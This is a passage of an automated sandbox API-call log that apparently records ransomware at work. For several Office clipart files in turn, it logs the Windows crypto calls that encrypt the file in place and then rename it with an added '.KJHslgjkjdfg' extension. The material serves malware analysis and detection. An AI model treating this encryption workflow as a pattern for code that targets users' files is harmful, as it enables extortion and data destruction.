(hObject=0x114) returned 1 [0178.953] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0178.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.955] GetProcessHeap () returned 0x2a0000 [0178.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.955] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.955] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.958] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.959] GetProcessHeap () returned 0x2a0000 [0178.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.960] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.960] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2394, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2394, lpOverlapped=0x0) returned 1 [0178.961] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23a0, dwBufLen=0x23a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23a0) returned 1 [0178.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.961] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x23a0, lpOverlapped=0x0) returned 1 [0178.961] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.961] SetEndOfFile (hFile=0x114) returned 1 [0178.964] GetProcessHeap () returned 0x2a0000 [0178.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.964] GetProcessHeap () returned 0x2a0000 [0178.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.kjhslgjkjdfg")) returned 1 [0178.965] CloseHandle (hObject=0x114) returned 1 [0178.966] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0178.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.967] GetProcessHeap () returned 0x2a0000 [0178.967] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.967] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.967] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.969] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.969] GetProcessHeap () returned 0x2a0000 [0178.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.969] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.969] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.969] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.970] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.970] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.970] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.970] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a44, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a44, lpOverlapped=0x0) returned 1 [0178.971] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a50) returned 1 [0178.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.971] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a50, lpOverlapped=0x0) returned 1 [0178.972] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.972] SetEndOfFile (hFile=0x114) returned 1 [0178.975] GetProcessHeap () returned 0x2a0000 [0178.975] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.975] GetProcessHeap () returned 0x2a0000 [0178.975] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.kjhslgjkjdfg")) returned 1 [0178.976] CloseHandle (hObject=0x114) returned 1 [0178.977] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0178.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.978] GetProcessHeap () returned 0x2a0000 [0178.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.978] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.978] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.980] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.980] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.980] GetProcessHeap () returned 0x2a0000 [0178.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.980] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.980] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.980] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.981] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.981] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.981] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.981] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.981] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.981] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.981] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1258, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1258, lpOverlapped=0x0) returned 1 [0178.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1260, dwBufLen=0x1260 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1260) returned 1 [0178.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.982] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1260, lpOverlapped=0x0) returned 1 [0178.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.983] SetEndOfFile (hFile=0x114) returned 1 [0178.985] GetProcessHeap () returned 0x2a0000 [0178.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.985] GetProcessHeap () returned 0x2a0000 [0178.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.kjhslgjkjdfg")) returned 1 [0178.987] CloseHandle (hObject=0x114) returned 1 [0178.987] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0178.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.989] GetProcessHeap () returned 0x2a0000 [0178.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.989] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.989] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.992] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.992] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.992] GetProcessHeap () returned 0x2a0000 [0178.992] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.992] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.992] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.992] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.992] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.992] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.992] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.992] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.993] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.993] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x834, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x834, lpOverlapped=0x0) returned 1 [0178.993] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x840, dwBufLen=0x840 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x840) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x840, lpOverlapped=0x0) returned 1 [0178.993] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] SetEndOfFile (hFile=0x114) returned 1 [0178.996] GetProcessHeap () returned 0x2a0000 [0178.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.996] GetProcessHeap () returned 0x2a0000 [0178.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.kjhslgjkjdfg")) returned 1 [0178.997] CloseHandle (hObject=0x114) returned 1 [0178.997] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0178.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.998] GetProcessHeap () returned 0x2a0000 [0178.998] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.998] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, 